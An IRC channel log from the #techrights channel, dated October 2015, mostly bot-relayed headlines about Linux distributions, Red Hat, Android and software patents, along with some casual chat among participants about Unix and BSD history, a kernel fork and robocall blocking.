| TweetTuxMachines | @RamiSilawi @tuxmachines Your tweet makes my page better: | Oct 06 10:45 |
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| TweetTuxMachines | @tuxmachines Fedora 24 Linux Operating System to Use | Oct 06 10:45 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Audacious 3.7 Finally Enters Beta, Ports the Winamp Classic Interface Plugin to Qt - Softpedia | Oct 06 10:59 | |
| TweetTuxMachines | @tuxmachines Majority of Linux users still use Windows or | Oct 06 10:59 |
| TweetTuxMachines | MacOS http://t.co/ZCjL48aIiB | Oct 06 10:59 |
| -TechrightsBot-tr/#techrights-linuxblog.darkduck.com | Majority of Linux users still use Windows or MacOS - Linux notes from DarkDuck | Oct 06 10:59 | |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Down to Business with Major Deployments | Tux Machines | Oct 06 11:05 | |
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| TweetTuxMachines | @tuxmachines Black Lab Core Server 7 Released | Oct 06 12:20 |
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| -TechrightsBot-tr/#techrights-www.blacklablinux.org | Black Lab Linux: Black Lab Core Server 7 Released | Oct 06 12:20 | |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Black Lab Core Server 7 Released | Tux Machines | Oct 06 12:20 | |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | [OpenIndiana] Hipster 2015.10 is here | Tux Machines | Oct 06 12:30 | |
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| -TechrightsBot-tr/#techrights-distrowatch.com | DistroWatch.com: Put the fun back into computing. Use Linux, BSD. | Oct 06 12:30 | |
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| TweetTuxMachines | @tuxmachines RoboPhone: Sharp to Sell Real Android Phones in | Oct 06 12:35 |
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| TweetTuxMachines | @tuxmachines DNF 1.1.2 and DNF-PLUGINS-CORE 0.1.12 Released | Oct 06 12:35 |
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| TweetTuxMachines | @tuxmachines 5 Best Tools You Need To Create Your Next Big | Oct 06 12:35 |
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| -TechrightsBot-tr/#techrights-www.junauza.com | 5 Best Tools You Need To Create Your Next Big Android App | TechSource | Oct 06 12:35 | |
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| TweetTuxMachines | @tuxmachines Create A Custom Ubuntu Or Linux Mint ISO With | Oct 06 12:35 |
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| -TechrightsBot-tr/#techrights-www.webupd8.org | Create A Custom Ubuntu Or Linux Mint ISO With PinguyBuilder ~ Web Upd8: Ubuntu / Linux blog | Oct 06 12:35 | |
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| TweetTuxMachines | @tuxmachines Circular App Launcher Gnome Pie 0.6.7 Gets New | Oct 06 13:06 |
| TweetTuxMachines | Clipboard Slice Group, Other Changes | Oct 06 13:06 |
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| -TechrightsBot-tr/#techrights-www.webupd8.org | Circular App Launcher `Gnome Pie` 0.6.7 Gets New Clipboard Slice Group, Other Changes ~ Web Upd8: Ubuntu / Linux blog | Oct 06 13:06 | |
| TweetTuxMachines | @tuxmachines Microsoft Recommends Ubuntu as the Most Popular | Oct 06 13:06 |
| TweetTuxMachines | Linux for Cloud | Oct 06 13:06 |
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| -TechrightsBot-tr/#techrights-linux.softpedia.com | Microsoft Recommends Ubuntu as the Most Popular Linux for Cloud - Softpedia | Oct 06 13:06 | |
| TweetTuxMachines | @tuxmachines OTA-7 Update for Ubuntu Touch to Enter Final | Oct 06 13:06 |
| TweetTuxMachines | Freeze This Week http://t.co/esZsv56hjA | Oct 06 13:06 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | OTA-7 Update for Ubuntu Touch to Enter Final Freeze This Week - Softpedia | Oct 06 13:06 | |
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| TweetTuxMachines | @tuxmachines Ubuntu Hackathon: Bangalore Mobile Developer | Oct 06 13:27 |
| TweetTuxMachines | Summit http://t.co/FVAbNVerjw | Oct 06 13:27 |
| TweetTuxMachines | (insights.ubuntu.com) | Oct 06 13:27 |
| -TechrightsBot-tr/#techrights-insights.ubuntu.com | Ubuntu Hackathon: Bangalore Mobile Developer Summit | Ubuntu Insights | Oct 06 13:27 | |
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| TweetTuxMachines | @tuxmachines Top 5 Best New Android Action Games of | Oct 06 13:27 |
| TweetTuxMachines | September 2015 http://t.co/LjrfQBocaH | Oct 06 13:27 |
| -TechrightsBot-tr/#techrights-heavy.com | Top 5 Best New Android Action Games of September 2015 | Heavy.com | Oct 06 13:27 | |
| TweetTuxMachines | (heavy.com) | Oct 06 13:27 |
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| TweetTuxMachines | @tuxmachines Company Shares of Red Hat, Inc. (NYSE:RHT) | Oct 06 13:27 |
| TweetTuxMachines | Rally 0.96% http://t.co/Z0nE845EDM | Oct 06 13:27 |
| TweetTuxMachines | (newswatchinternational.com) up "7.22% for the | Oct 06 13:27 |
| -TechrightsBot-tr/#techrights-newswatchinternational.com | Company Shares of Red Hat, Inc. (NYSE:RHT) Rally 0.96% | News Watch International | Oct 06 13:27 | |
| TweetTuxMachines | last 4 weeks." | Oct 06 13:27 |
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| TweetTuxMachines | @tuxmachines Red Hat on track to hit 70 per cent channel | Oct 06 13:35 |
| TweetTuxMachines | sales goal http://t.co/4JKbISO8OZ | Oct 06 13:35 |
| TweetTuxMachines | (www.channelnomics.eu) | Oct 06 13:35 |
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| -TechrightsBot-tr/#techrights-www.channelnomics.eu | Red Hat on track to hit 70 per cent channel sales goal - from Channelnomics.eu | Oct 06 13:35 | |
| TweetTuxMachines | @tuxmachines Scraps: Modular Vehicle Combat Released For | Oct 06 13:35 |
| TweetTuxMachines | Linux, Looks Like Fun http://t.co/ON9NaTMN7J | Oct 06 13:35 |
| TweetTuxMachines | (www.gamingonlinux.com) | Oct 06 13:35 |
| -TechrightsBot-tr/#techrights-www.gamingonlinux.com | Scraps: Modular Vehicle Combat Released For Linux, Looks Like Fun | GamingOnLinux | Oct 06 13:35 | |
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| *TweetTuxMachines @mispaginasfavor followed @tuxmachines | Oct 06 13:36 | |
| TweetTuxMachines | @tuxmachines Cutegram, the Best Telegram Client, Reaches | Oct 06 13:40 |
| TweetTuxMachines | Version 2.7 with Many Changes | Oct 06 13:40 |
| TweetTuxMachines | http://t.co/YdcoTMzJrM (news.softpedia.com) | Oct 06 13:40 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Cutegram, the Best Telegram Client, Reaches Version 2.7 with Many Changes - Softpedia | Oct 06 13:40 | |
| *TweetTuxMachines @qu1j0t3 favourited 'Scraps: Modular Vehicle Combat Released For Linux, Looks...' | Oct 06 13:41 | |
| TweetTuxMachines | @tuxmachines Does your company know how much open source it | Oct 06 13:41 |
| TweetTuxMachines | uses? http://t.co/uRJCp0UfjM | Oct 06 13:41 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Does your company know how much open source it uses? | Tux Machines | Oct 06 13:41 | |
| TweetTuxMachines | @tuxmachines A kid in an open source candy store | Oct 06 13:41 |
| TweetTuxMachines | http://t.co/SSVKkjbYmD (www.tuxmachines.org) | Oct 06 13:41 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | A kid in an open source candy store | Tux Machines | Oct 06 13:41 | |
| TweetTuxMachines | @tuxmachines Red Hat eyes app platform leader with Samsung | Oct 06 13:41 |
| TweetTuxMachines | http://t.co/qT5152ec1x (www.tuxmachines.org) | Oct 06 13:41 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Red Hat eyes app platform leader with Samsung | Tux Machines | Oct 06 13:41 | |
| TweetTuxMachines | @tuxmachines Leftovers: Ubuntu http://t.co/2sS2i8DyGp | Oct 06 13:41 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 06 13:41 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: Ubuntu | Tux Machines | Oct 06 13:41 | |
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| *Topic for #techrights set by schestowitz!~schestowi@unaffiliated/schestowitz at Sat Jun 9 18:16:19 2012 | Oct 06 14:02 | |
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| TweetTuxMachines | @tuxmachines Red Hat and Fedora http://t.co/ZkvF0PLTbj | Oct 06 14:25 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Red Hat and Fedora | Tux Machines | Oct 06 14:25 | |
| TweetTuxMachines | @tuxmachines First Point Release of GTK+ 3.18 Introduces | Oct 06 14:25 |
| TweetTuxMachines | Faster Popover Animations, More | Oct 06 14:25 |
| TweetTuxMachines | http://t.co/oBY8Qlc91C (news.softpedia.com) | Oct 06 14:25 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | First Point Release of GTK+ 3.18 Introduces Faster Popover Animations, More - Softpedia | Oct 06 14:25 | |
| TweetTuxMachines | @tuxmachines Why Google Will Still Bet on Both Chrome OS and | Oct 06 14:25 |
| TweetTuxMachines | Android http://t.co/QgQgwyy7CS (ostatic.com) | Oct 06 14:25 |
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| -TechrightsBot-tr/#techrights-ostatic.com | Why Google Will Still Bet on Both Chrome OS and Android | Oct 06 14:25 | |
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| schestowitz | https://twitter.com/esthete/status/651389937384755200 | Oct 06 14:40 |
| -TechrightsBot-tr/#techrights-@esthete: Patent troll débarquent en Europe http://t.co/CBJdPxXCHQ | Oct 06 14:40 | |
| -TechrightsBot-tr/#techrights--> techrights.org | With Software Patents in Europe (and Pushes for the Same Thing in Australia and India) Patent Trolls Now Come to Europe, Attack Android/Linux | Techrights | Oct 06 14:41 | |
| schestowitz | https://twitter.com/Splat_Blatter/status/651390923184717824 | Oct 06 14:41 |
| -TechrightsBot-tr/#techrights-@Splat_Blatter: @FiftyAtTheBid @TheCitizenSport @SportCorruption @LLP_Le_Vrai @schestowitz @zoobab #Blatter on his way out! http://t.co/zUZbbrpuXc | Oct 06 14:41 | |
| -TechrightsBot-tr/#techrights-@Splat_Blatter: @FiftyAtTheBid @TheCitizenSport @SportCorruption @LLP_Le_Vrai @schestowitz @zoobab #Blatter on his way out! http://t.co/zUZbbrpuXc | Oct 06 14:41 | |
| schestowitz | https://twitter.com/AJimenez1988/status/651388314923204608 https://twitter.com/AJimenez1988/status/651388758940626944 | Oct 06 14:41 |
| -TechrightsBot-tr/#techrights-@AJimenez1988: @schestowitz Good riddance. If political correctness invades everything the Aspies that develop tech won't have a release. | Oct 06 14:41 | |
| -TechrightsBot-tr/#techrights-@AJimenez1988: @schestowitz Dafuq!? Nerds are harmless, that's why people can spew venom on them without fear of reprisal. | Oct 06 14:41 | |
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| TweetTuxMachines | @tuxmachines "Ubuntu Is the Recommended OS" of a game | Oct 06 14:59 |
| TweetTuxMachines | http://t.co/ZsvZpuBev0 (www.phoronix.com) | Oct 06 14:59 |
| TweetTuxMachines | http://t.co/F8Hnv3aVHU (news.softpedia.com) | Oct 06 14:59 |
| -TechrightsBot-tr/#techrights-www.phoronix.com | Linux Beta Released For Trine 3: Artifacts of Power - Phoronix | Oct 06 14:59 | |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Trine 3: The Artifacts of Power Beta Now Available for Linux, Ubuntu Is the Recommended OS - Softpedia | Oct 06 14:59 | |
| *TweetTuxMachines @techmuser favourited '"Ubuntu Is the Recommended OS" of a game...' | Oct 06 14:59 | |
| MinceR | https://en.wikipedia.org/wiki/Internet_censorship_in_the_United_Kingdom#Overblocking | Oct 06 15:04 |
| -TechrightsBot-tr/#techrights-en.wikipedia.org | Internet censorship in the United Kingdom - Wikipedia, the free encyclopedia [ http://ur1.ca/nxgqx ] | Oct 06 15:04 | |
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| schestowitz | https://twitter.com/zoobab/status/651400448918876160 | Oct 06 15:31 |
| -TechrightsBot-tr/#techrights-@zoobab: @Splat_Blatter @FiftyAtTheBid @TheCitizenSport @SportCorruption @LLP_Le_Vrai @schestowitz he should retire in prison, like Batistelli. | Oct 06 15:31 | |
| TweetTuxMachines | @tuxmachines LLVM/Clang http://t.co/rGkrwOMQoD | Oct 06 16:06 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 06 16:06 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | LLVM/Clang | Tux Machines | Oct 06 16:06 | |
| TweetTuxMachines | @tuxmachines Apache OpenOffice Coming http://t.co/6xeGKsfKjN | Oct 06 16:06 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 06 16:06 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Apache OpenOffice Coming | Tux Machines | Oct 06 16:06 | |
| TweetTuxMachines | @tuxmachines 2015 Productivity, Linux-Style | Oct 06 16:06 |
| TweetTuxMachines | https://t.co/hExioacPlM (dzone.com) | Oct 06 16:06 |
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| -TechrightsBot-tr/#techrights-dzone.com | DZone | Oct 06 16:07 | |
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| schestowitz | https://twitter.com/zoobab/status/651411607902384128 | Oct 06 16:08 |
| -TechrightsBot-tr/#techrights-@zoobab: @schestowitz Yocto is a nightmare compared to Openwrt. | Oct 06 16:08 | |
| schestowitz | https://twitter.com/FOSSpatents/status/651414855988215808 | Oct 06 16:13 |
| -TechrightsBot-tr/#techrights-@FOSSpatents: @schestowitz Have you obtained the EPO's "Closer contacts with major applicants" document yet? Your EPO sources should be able to get it. | Oct 06 16:13 | |
| schestowitz | haven't received it, didn't explicitly ask for it. Why not just put it on scribd yourself? | Oct 06 16:13 |
| schestowitz | https://twitter.com/FOSSpatents/status/651415813967187968 | Oct 06 16:17 |
| -TechrightsBot-tr/#techrights-@FOSSpatents: @schestowitz my source had asked me not to share or publish and I promised not to | Oct 06 16:17 | |
| schestowitz | I will ask around... | Oct 06 16:17 |
| schestowitz | http://t.co/LH6ChOe0bq | Oct 06 16:22 |
| -TechrightsBot-tr/#techrights-www.ft.com | EU court suspends Safe Harbour transatlantic data-sharing deal - FT.com | Oct 06 16:22 | |
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| schestowitz | https://twitter.com/zoobab/status/651018528896716800 | Oct 06 16:34 |
| -TechrightsBot-tr/#techrights-@zoobab: Listening to a debate on eVoting, stealing the right of people to control the elections by offloading to computer "pseudo-experts" #parlbru | Oct 06 16:34 | |
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| TweetTuxMachines | @tuxmachines Incompetence, not Linux, is behind the XOR DDoS | Oct 06 17:44 |
| TweetTuxMachines | botnet http://t.co/zK3VrQPRBG (www.zdnet.com) | Oct 06 17:44 |
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| -TechrightsBot-tr/#techrights-www.zdnet.com | Incompetence, not Linux, is behind the XOR DDoS botnet | ZDNet | Oct 06 17:44 | |
| TweetTuxMachines | @tuxmachines Links 6/10/2015: Linux 4.3 RC4, HP OpenSwitch, | Oct 06 17:44 |
| TweetTuxMachines | Wind River Linux 8 http://t.co/6VikiKXENe | Oct 06 17:44 |
| TweetTuxMachines | (techrights.org) | Oct 06 17:44 |
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| -TechrightsBot-tr/#techrights-techrights.org | Links 6/10/2015: Linux 4.3 RC4, HP OpenSwitch, Wind River Linux 8 | Techrights | Oct 06 17:44 | |
| TweetTuxMachines | @tuxmachines Linux-based OpenSwitch http://t.co/3iwz5HqxJ9 | Oct 06 17:44 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 06 17:44 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Linux-based OpenSwitch | Tux Machines | Oct 06 17:44 | |
| MinceR | http://www.cracked.com/article_18775_5-popular-safety-measures-that-dont-make-you-any-safer.html | Oct 06 17:44 |
| -TechrightsBot-tr/#techrights-www.cracked.com | 5 Popular Safety Measures That Don't Make You Any Safer | Cracked.com [ http://ur1.ca/nxiwk ] | Oct 06 17:44 | |
| TweetTuxMachines | @tuxmachines Leftovers: Gaming http://t.co/RUPh1P1VwW | Oct 06 17:44 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 06 17:44 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: Gaming | Tux Machines | Oct 06 17:44 | |
| TweetTuxMachines | @tuxmachines today's howtos http://t.co/uIc3biGDVY | Oct 06 17:44 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 06 17:44 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | today's howtos | Tux Machines | Oct 06 17:44 | |
| TweetTuxMachines | @tuxmachines Leftovers: Software http://t.co/FxUu40FQAO | Oct 06 17:44 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 06 17:44 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: Software | Tux Machines | Oct 06 17:44 | |
| schestowitz | https://joindiaspora.com/posts/6672589 | Oct 06 18:03 |
| -TechrightsBot-tr/#techrights-@linux@joindiaspora.com reshared: JoinDiaspora.com is broken. I have been trying to sign in for days. #Diaspora #JD | Oct 06 18:03 | |
| -TechrightsBot-tr/#techrights- Photo by copaflight8@joindiaspora.com: https://joindiaspora.s3.amazonaws.com/uploads/images/thumb_medium_0af4f42d8cbb6765f937.JPG | Oct 06 18:03 | |
| schestowitz | "Too many users, too small a server. Time to move to other servers, I’m going to host my own soon, probably." | Oct 06 18:03 |
| cubexyz | sure, run your own host | Oct 06 18:07 |
| cubexyz | you'll learn a lot more | Oct 06 18:07 |
| cubexyz | ok, as for "world without linux" I think a short history lesson is in order | Oct 06 18:14 |
| cubexyz | Unix predates Linux and was started in the summer of 1969 | Oct 06 18:14 |
| cubexyz | by 1974 it left the lab, and was used by many academic insitutions | Oct 06 18:15 |
| cubexyz | BSD 1.0 appeared in 1978 | Oct 06 18:15 |
| cubexyz | support for TCP/IP appeared in 4.2BSD in 1982 | Oct 06 18:16 |
| cubexyz | Linux 0.01 appeared in sept 17th, 1991 | Oct 06 18:16 |
| cubexyz | so it's silly to say that without Linux we would have no internet | Oct 06 18:17 |
| cubexyz | some of the earlier ISPs were using BSD | Oct 06 18:17 |
| cubexyz | some still do to this day | Oct 06 18:19 |
| TweetTuxMachines | @tuxmachines today's leftovers http://t.co/UWLSgjvaET | Oct 06 18:46 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | today's leftovers | Tux Machines | Oct 06 18:46 | |
| TweetTuxMachines | @tuxmachines Media Reports Based on New Patents Suggest That | Oct 06 18:46 |
| TweetTuxMachines | Microsoft Continues to Attack Google and | Oct 06 18:46 |
| TweetTuxMachines | Android/Linux http://t.co/8Ne07huwnm | Oct 06 18:46 |
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| TweetTuxMachines | @tuxmachines Today in Techrights http://t.co/vCwaitDSSy | Oct 06 18:46 |
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| -TechrightsBot-tr/#techrights-techrights.org | Media Reports Based on New Patents Suggest That Microsoft Continues to Attack Google and Android/Linux, Trying to Tax and Delete Android | Techrights | Oct 06 18:46 | |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Today in Techrights | Tux Machines | Oct 06 18:46 | |
| TweetTuxMachines | @tuxmachines Three Cheers to Randa 2015 and Mario | Oct 06 18:54 |
| TweetTuxMachines | http://t.co/YpAST2X8PT | Oct 06 18:54 |
| TweetTuxMachines | (alltypesofhacking.blogspot.com) | Oct 06 18:54 |
| -TechrightsBot-tr/#techrights-alltypesofhacking.blogspot.com | dreams are meant to be true: Three Cheers to Randa 2015 and Mario | Oct 06 18:54 | |
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| TweetTuxMachines | @tuxmachines Red Hat eyes app platform leader with Samsung | Oct 06 18:55 |
| TweetTuxMachines | https://t.co/ZuIdOfXXda (www.koreatimes.co.kr) | Oct 06 18:55 |
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| -TechrightsBot-tr/#techrights-www.koreatimes.co.kr | Red Hat eyes app platform leader with Samsung | Oct 06 18:55 | |
| TweetTuxMachines | @tuxmachines KDE Ships Plasma 5.4.2, bugfix Release for | Oct 06 18:55 |
| TweetTuxMachines | October https://t.co/l9DhNZd10l (dot.kde.org) | Oct 06 18:55 |
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| -TechrightsBot-tr/#techrights-dot.kde.org | KDE Ships Plasma 5.4.2, bugfix Release for October | KDE.news | Oct 06 18:55 | |
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| schestowitz | https://twitter.com/2E0EOL/status/651455154244427776] | Oct 06 18:57 |
| -TechrightsBot-tr/#techrights-@2E0EOL: @schestowitz Saying "Bye forever" is nothing new on the internet. She said she doesn't want to work "professionally with", but it's FOSS! | Oct 06 18:57 | |
| msb_ | About a week ago I started getting about 5 telemarketer calls a day. I signed up for this free service, which only works for VOIP phones like Comcast, and so far it has stopped 50% of them. https://www.nomorobo.com/ Nomorobo is currently supported on these VoIP carriers: AT&T U-Verse, Astound Broadband, BroadVoice/PhonePower, Cablevision/Optimum, Comcast, Sonic, SureWest, Time Warner, Ooma Premier, Verizon FiOS, Voipo, Voip.ms, | Oct 06 19:00 |
| -TechrightsBot-tr/#techrights-www.nomorobo.com | Stop robocalls and telemarketers with Nomorobo | Oct 06 19:00 | |
| msb_ | Vonage, 1-Voip, and Wave Broadband. | Oct 06 19:00 |
| msb_ | It works when you set up your phone carrier to ring nomorobo's phone as well as yours. It checks the caller-ID against its database, and hangs up the call if it finds a match. It only works on calls with a full 10-digit callerID number. | Oct 06 19:03 |
| msb_ | So if the phone only rings once or twice, you can ignore it. | Oct 06 19:05 |
| TweetTuxMachines | @tuxmachines System76 Is Launching Skylake Computers Powered | Oct 06 19:07 |
| TweetTuxMachines | by Ubuntu, Become a Superfan | Oct 06 19:07 |
| TweetTuxMachines | http://t.co/59leW0G2fM (news.softpedia.com) | Oct 06 19:07 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | System76 Is Launching Skylake Computers Powered by Ubuntu, Become a Superfan - Softpedia | Oct 06 19:07 | |
| TweetTuxMachines | @tuxmachines SteamOS Now Based on Debian 8.2 and Fully | Oct 06 19:07 |
| TweetTuxMachines | Supports Xbox 360 and Xbox One Controllers | Oct 06 19:07 |
| TweetTuxMachines | http://t.co/UkdHE3Pige (news.softpedia.com) | Oct 06 19:07 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | SteamOS Now Based on Debian 8.2 and Fully Supports Xbox 360 and Xbox One Controllers - Softpedia | Oct 06 19:07 | |
| TweetTuxMachines | @tuxmachines Why a penguin? Recapping a slice of Linux | Oct 06 19:08 |
| TweetTuxMachines | history http://t.co/JjwDbcrp8U (certmag.com) | Oct 06 19:08 |
| TweetTuxMachines | "Linux is a surprisingly successful operating | Oct 06 19:08 |
| TweetTuxMachines | system." | Oct 06 19:08 |
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| -TechrightsBot-tr/#techrights-certmag.com | Why a penguin? Recapping a slice of Linux history - CertMag | Oct 06 19:08 | |
| cubexyz | there's no doubt that Linux is successful | Oct 06 19:09 |
| cubexyz | in some ways, it's a better desktop than the BSDs | Oct 06 19:11 |
| cubexyz | although BSD is much closer to the original Unix and has a lot less bloat | Oct 06 19:11 |
| *TweetTuxMachines @REALMattRichie retweeted @tuxmachines: 'Why a penguin? Recapping a slice of Linux...' | Oct 06 19:12 | |
| TweetTuxMachines | @tuxmachines Solus Is Now Using Linux Kernel 4.1.10, Lots of | Oct 06 19:12 |
| TweetTuxMachines | Packages Updated http://t.co/8dKHOWfjvT | Oct 06 19:12 |
| TweetTuxMachines | (news.softpedia.com) | Oct 06 19:12 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Solus Is Now Using Linux Kernel 4.1.10, Lots of Packages Updated - Softpedia | Oct 06 19:12 | |
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| cubexyz | did you hear the Linux kernel got forked? | Oct 06 19:18 |
| cubexyz | http://linux.slashdot.org/story/15/10/06/1553233/matthew-garrett-forks-the-linux-kernel | Oct 06 19:20 |
| XRevan86 | cubexyz: Again? | Oct 06 19:20 |
| -TechrightsBot-tr/#techrights-linux.slashdot.org | Matthew Garrett Forks the Linux Kernel - Slashdot [ http://ur1.ca/nxk0d ] | Oct 06 19:20 | |
| XRevan86 | Garrex | Oct 06 19:21 |
| cubexyz | XRevan86, I'm not aware of any other forks | Oct 06 19:21 |
| TweetTuxMachines | @tuxmachines Android 6.0 up close: Google Now on Tap is | Oct 06 19:23 |
| TweetTuxMachines | almost amazing http://t.co/79kq9DZeHx | Oct 06 19:23 |
| TweetTuxMachines | (www.computerworld.com) | Oct 06 19:23 |
| -TechrightsBot-tr/#techrights-www.computerworld.com | Android 6.0 up close: Google Now on Tap is almost amazing | Computerworld | Oct 06 19:23 | |
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| TweetTuxMachines | @tuxmachines AMD Has More Developers Working On Their | Oct 06 19:23 |
| TweetTuxMachines | Open-Source Driver Behind The Scenes | Oct 06 19:23 |
| TweetTuxMachines | http://t.co/vmTLHuucv1 (www.phoronix.com) | Oct 06 19:23 |
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| -TechrightsBot-tr/#techrights-www.phoronix.com | AMD Has More Developers Working On Their Open-Source Driver Behind The Scenes - Phoronix | Oct 06 19:23 | |
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| __martin__ | evade asus devices, now, even with smaller form factors | Oct 06 19:26 |
| __martin__ | preinstalled m$ bloatware by default from now on | Oct 06 19:27 |
| __martin__ | (meanwhile asatya accepts mobile os marketshare fail) | Oct 06 19:27 |
| __martin__ | (= | Oct 06 19:27 |
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| TweetTuxMachines | @tuxmachines Media Reports Based on New Patents Suggest That | Oct 06 19:34 |
| TweetTuxMachines | retweeted by Microsoft Continues to Attack Google and | Oct 06 19:34 |
| TweetTuxMachines | @schestowitz Android/Linux http://t.co/8Ne07huwnm | Oct 06 19:34 |
| TweetTuxMachines | (techrights.org) | Oct 06 19:34 |
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| -TechrightsBot-tr/#techrights-techrights.org | Media Reports Based on New Patents Suggest That Microsoft Continues to Attack Google and Android/Linux, Trying to Tax and Delete Android | Techrights | Oct 06 19:34 | |
| TweetTuxMachines | @tuxmachines "Valerie Aurora, former kernel developer and | Oct 06 19:34 |
| TweetTuxMachines | open source diversity champion, and leaders at | Oct 06 19:34 |
| TweetTuxMachines | the Linux Foundation." http://t.co/b1s0QkPyvO | Oct 06 19:34 |
| TweetTuxMachines | (www.linux.com) | Oct 06 19:34 |
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| -TechrightsBot-tr/#techrights-www.linux.com | Ally Skills Training at LinuxCon 2015: Uniting All the World’s Geeks, No Exceptions | Linux.com | Oct 06 19:34 | |
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| TweetTuxMachines | @tuxmachines SparkyLinux 4.1 Screencast and Screenshots | Oct 06 19:44 |
| TweetTuxMachines | http://t.co/gYxAbHbqKZ (www.linuxquestions.org) | Oct 06 19:44 |
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| -TechrightsBot-tr/#techrights-www.linuxquestions.org | SparkyLinux 4.1 Screencast and Screenshots | Oct 06 19:44 | |
| schestowitz | https://twitter.com/FrancisJeffrey7/status/651468102291468288 | Oct 06 19:46 |
| -TechrightsBot-tr/#techrights-@FrancisJeffrey7: JUST BECAUSE ! https://t.co/z3Sf6jLpBC | Oct 06 19:46 | |
| -TechrightsBot-tr/#techrights-@schestowitz: If the West provided safe haven for fugitive Russians to have free speech and complain about USSR/Russia, why is it bad when Russia does it? | Oct 06 19:46 | |
| schestowitz | [19:26] <__martin__> evade asus devices, now, even with smaller form factors | Oct 06 19:46 |
| schestowitz | [19:27] <__martin__> preinstalled m$ bloatware by default from now on | Oct 06 19:46 |
| schestowitz | [19:27] <__martin__> (meanwhile asatya accepts mobile os marketshare fail) | Oct 06 19:46 |
| schestowitz | [19:27] <__martin__> (= | Oct 06 19:46 |
| schestowitz | Yes | Oct 06 19:46 |
| schestowitz | We have an old tablet that's ASUS/Nexus | Oct 06 19:46 |
| schestowitz | But I won't be buying it gain | Oct 06 19:46 |
| schestowitz | *again | Oct 06 19:46 |
| schestowitz | also a samsung g2 | Oct 06 19:46 |
| schestowitz | Both will have MS in future releases/products | Oct 06 19:46 |
| schestowitz | [19:18] <cubexyz> did you hear the Linux kernel got forked? | Oct 06 19:47 |
| schestowitz | [19:20] <cubexyz> http://linux.slashdot.org/story/15/10/06/1553233/matthew-garrett-forks-the-linux-kernel | Oct 06 19:47 |
| -TechrightsBot-tr/#techrights-linux.slashdot.org | Matthew Garrett Forks the Linux Kernel - Slashdot [ http://ur1.ca/nxk0d ] | Oct 06 19:47 | |
| schestowitz | BS | Oct 06 19:47 |
| schestowitz | won't fly | Oct 06 19:47 |
| schestowitz | just some annoying guy (I fought with him before, called him "Microsoft Apologist") | Oct 06 19:47 |
| schestowitz | https://twitter.com/FrancisJeffrey7/status/651468806192164864 | Oct 06 19:49 |
| -TechrightsBot-tr/#techrights-@FrancisJeffrey7: @Snowden @schestowitz (1) USA bureaucrats consistently have asserted that anything they do is, A PRIORI, legal until adjudicated BY #SCOTUS. | Oct 06 19:49 | |
| cubexyz | I still think it's a good idea to run more than one operating system | Oct 06 19:57 |
| cubexyz | just have a few secondary or tertiary computers, put chromeOS or BSD on them | Oct 06 19:59 |
| cubexyz | or even Plan 9 | Oct 06 19:59 |
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| cubexyz | securelevel is from NetBSD I think | Oct 06 20:04 |
| TweetTuxMachines | @tuxmachines Links 6/10/2015: Linux 4.3 RC4, HP OpenSwitch, | Oct 06 20:06 |
| TweetTuxMachines | retweeted by Wind River Linux 8 http://t.co/6VikiKXENe | Oct 06 20:06 |
| TweetTuxMachines | @schestowitz (techrights.org) | Oct 06 20:06 |
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| TweetTuxMachines | @tuxmachines Today in Techrights http://t.co/vCwaitDSSy | Oct 06 20:06 |
| TweetTuxMachines | retweeted by (www.tuxmachines.org) | Oct 06 20:06 |
| -TechrightsBot-tr/#techrights-techrights.org | Links 6/10/2015: Linux 4.3 RC4, HP OpenSwitch, Wind River Linux 8 | Techrights | Oct 06 20:06 | |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Today in Techrights | Tux Machines | Oct 06 20:06 | |
| cubexyz | I don't believe in the "my way or the highway" approach | Oct 06 20:07 |
| cubexyz | interoperability is a good thing | Oct 06 20:07 |
| cubexyz | my way or the highway is Microsoft's mantra | Oct 06 20:09 |
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| cubexyz | did Garrett work on secure boot stuff? | Oct 06 20:15 |
| cubexyz | ah, I see that he did | Oct 06 20:16 |
| cubexyz | oh, mgj59 is Garrett | Oct 06 20:16 |
| cubexyz | at least he's pro-GPL | Oct 06 20:17 |
| TweetTuxMachines | @tuxmachines today's howtos http://t.co/uIc3biGDVY | Oct 06 20:25 |
| TweetTuxMachines | retweeted by (www.tuxmachines.org) | Oct 06 20:25 |
| TweetTuxMachines | @jesusguevarauto | Oct 06 20:25 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | today's howtos | Tux Machines | Oct 06 20:25 | |
| TweetTuxMachines | @tuxmachines Android 6.0 up close: Google Now on Tap is | Oct 06 20:25 |
| TweetTuxMachines | almost amazing http://t.co/eneamltAGb | Oct 06 20:25 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Android 6.0 up close: Google Now on Tap is almost amazing | Tux Machines | Oct 06 20:25 | |
| TweetTuxMachines | @tuxmachines Solus Is Now Using Linux Kernel 4.1.10, Lots of | Oct 06 20:26 |
